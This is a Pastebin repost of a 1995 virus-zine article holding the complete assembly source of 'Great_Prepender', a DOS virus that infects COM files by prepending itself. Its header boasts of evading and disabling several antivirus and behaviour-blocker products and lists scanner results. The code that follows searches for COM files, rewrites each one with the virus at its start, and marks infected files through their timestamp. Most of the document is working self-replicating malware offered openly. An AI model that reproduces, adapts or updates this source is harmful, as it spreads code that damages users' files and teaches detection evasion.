FlyFar

VLAD Magazine - Issue AF - ARTICLE.3_5 - Prepender (I'm the great prepender!)

Jul 1st, 2023
135
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
6502 TASM/64TASS 7.52 KB | Cybersecurity | 0 0
  1. ;******************************************************************************
  2. ;
  3. ; "I'm the great prepender!" - Jest on Queen by Rajaat / Genesis
  4. ;
  5. ;******************************************************************************
  6. ;
  7. ; Virus name    : Great_Prepender
  8. ; Author        : Rajaat
  9. ; Origin        : United Kingdom, December 1995
  10. ; Compiling     : Using TASM            | Using A86
  11. ;                                       |
  12. ;                 TASM /M PREPEND       | A86 PREPEND.ASM
  13. ;                 TLINK /T PREPEND      |
  14. ; Targets       : COM files
  15. ; Size          : 144 bytes
  16. ; Resident      : No
  17. ; Polymorphic   : No
  18. ; Encrypted     : No
  19. ; Stealth       : No
  20. ; Tunneling     : No - is not needed for some programs
  21. ; Retrovirus    : Yes - TBAV, SUSPICIOUS, F-PROT & VSAFE
  22. ; Antiheuristics: Yes - TBAV, SUSPICIOUS & F-PROT
  23. ; Peculiarities : Shifts the whole file after the virus code
  24. ;                 Rewrites the whole file for infection
  25. ;                 Avoids TBAV & SUSPICIOUS using a 2 byte signature
  26. ; Drawbacks     : Hangs if host is TSR program
  27. ;                 Hangs if host jumps to PSP:0
  28. ;                 Needs at least 64k free space after host
  29. ; Behaviour     : When a COM file infected with Great_Prepender virus is
  30. ;                 executed, the virus will search for a COM file in the
  31. ;                 current directory that doesn't have a 0 in the seconds
  32. ;                 field of the file date/time. The virus will read the entire
  33. ;                 file in a block after the current host. Great_Prepender now
  34. ;                 creates a new file with the same name and writes itself at
  35. ;                 the start of the file, and appends the rest of the host
  36. ;                 behind it's own code, thus effectively shifting the whole
  37. ;                 host with 144 bytes. The virus will restore the host in a
  38. ;                 very peculiar way. It modifies the segment registers in a
  39. ;                 way that the host looks if it's aligned at 100h, the normal
  40. ;                 address for COM files to start. It then copies most of the
  41. ;                 DTA over it's own code and executes the host. The stack
  42. ;                 segment is not modified. Because the virus shifts only the
  43. ;                 DTA and doesn't change the memory allocation, resident
  44. ;                 programs have a chance of crashing, because they don't
  45. ;                 allocate 144 bytes of their own code (if function 31h is
  46. ;                 used for the allocation). Great_Prepender is targetted at
  47. ;                 a few resident behaviour blockers, effectively avoiding them.
  48. ;                 The virus also has some tricks to avoid being scanned by a
  49. ;                 few antivirus programs that can perform heuristic scanning.
  50. ;                 It's unknown what this virus might do besides replicate :)
  51. ;******************************************************************************
  52. ;
  53. ; Results with antivirus software
  54. ;
  55. ;       TBFILE                    - doesn't trigger
  56. ;       TBSCAN                    - flags 'p' (packed file)
  57. ;       TBCLEAN                   - can't reconstruct without ANTIVIR.DAT
  58. ;       SVS                       - doesn't trigger
  59. ;       SSC                       - no flags
  60. ;       F-PROT                    - no virus found
  61. ;       F-PROT /ANALYSE           - no virus found
  62. ;       F-PROT /ANALYSE /PARANOID - unusual code
  63. ;       AVP                       - virus type Com suspicion (0 bytes)
  64. ;       VSAFE                     - doesn't trigger
  65. ;       NEMESIS                   - triggers :(
  66. ;
  67. ;******************************************************************************
  68. ;
  69. ; Big hello to : Immortal Riot, VLAD, Phalcon/Skism and everyone on #virus who
  70. ;                deserves it to be greeted by me.
  71. ;
  72. ;******************************************************************************
  73.  
  74. .model tiny
  75. .code
  76.  
  77.                 org 100h
  78.  
  79. dta             equ 0fd00h-1eh
  80.  
  81. ;===( Main part of the virus )=================================================
  82. im_the_great_prepender:
  83.                 push ax                         ; fool TBSCAN and SSC
  84.                 dec bx
  85.  
  86.                 xchg ax,cx
  87.                 mov ah,1ah
  88.                 mov dx,dta
  89.                 int 21h                         ; move dta to end of segment
  90.  
  91.                 mov ah,4eh
  92. find_next:      lea dx,filemask
  93.                 int 21h                         ; search COM file
  94.                 jc restore_host                 ; go restore_host if seek fails
  95.  
  96.                 mov ah,4fh
  97.                 test byte ptr ds:dta+16h,00011111b
  98.                 jz find_next                    ; if seconds != 0 go find_next
  99.  
  100. ;===( Infect file )============================================================
  101.  
  102.                 mov ah,3dh
  103.                 mov dx,dta+1eh
  104.                 int 21h                         ; open file with read access
  105.  
  106.                 xchg ax,bx
  107.                 xchg ax,cx
  108.                 push ds
  109.                 pop ax
  110.                 add ah,10h
  111.                 push ax
  112.                 push ax
  113.                 pop ds
  114.                 mov ah,3fh
  115.                 cwd                             ; read whole file in next
  116.                 int 21h                         ; 64k block
  117.                 push ax                         ; store file size
  118.                 push cs
  119.                 pop ds
  120.                 mov ah,3eh
  121.                 int 21h                         ; close file
  122.  
  123.                 mov ah,3ch
  124.                 mov dh,0fdh
  125.                 inc cx
  126.                 int 21h                         ; create new file (overwrite)
  127.  
  128.                 mov ah,40h
  129.                 mov dh,01h
  130.                 mov cl,virus_size
  131.                 int 21h                         ; write virus
  132.  
  133.                 mov ah,40h
  134.                 pop cx
  135.                 pop ds
  136.                 cwd
  137.                 int 21h                         ; write host
  138.  
  139.                 push cs
  140.                 pop ds
  141.  
  142.                 mov ax,5701h
  143.                 mov cx,word ptr ds:dta+16h
  144.                 mov dx,word ptr ds:dta+18h
  145.                 and cl,11100000b                ; set seconds to 0 and
  146.                 int 21h                         ; restore date/time
  147.  
  148.                 mov ah,3eh
  149.                 int 21h                         ; close file
  150.  
  151. ;===( Return to host )=========================================================
  152. restore_host:   push cs                         ; shift the segment
  153.                 pop si                          ; and prepare for dta
  154.                 add si,09h                      ; transfer.
  155.                 push si
  156.                 push si
  157.                 mov di,100h-(virus_end-reconstruct)
  158.                 mov cx,di
  159.                 push di
  160.                 push si
  161.                 pop es
  162.                 xor si,si
  163.                 mov di,si
  164.                 mov dx,80h
  165.                 retf                            ; jump to new cs:ip (shifted)
  166.  
  167. filemask        db '*Rajaat.COM',0              ; file mask and author name
  168.  
  169. reconstruct:    rep movsb                       ; copy dta to new location
  170.                 pop ds                          ; (over virus code)
  171.                 mov ah,1ah
  172.                 int 21h                         ; set new dta
  173.                 pop ax                          ; clear ax
  174.  
  175. virus_end       equ $
  176. virus_size      equ $-im_the_great_prepender
  177.  
  178. ;===( Original shifted host )==================================================
  179.  
  180.                 mov ax,4c00h
  181.                 int 21h
  182.  
  183. end im_the_great_prepender
Add Comment
Please, Sign In to add comment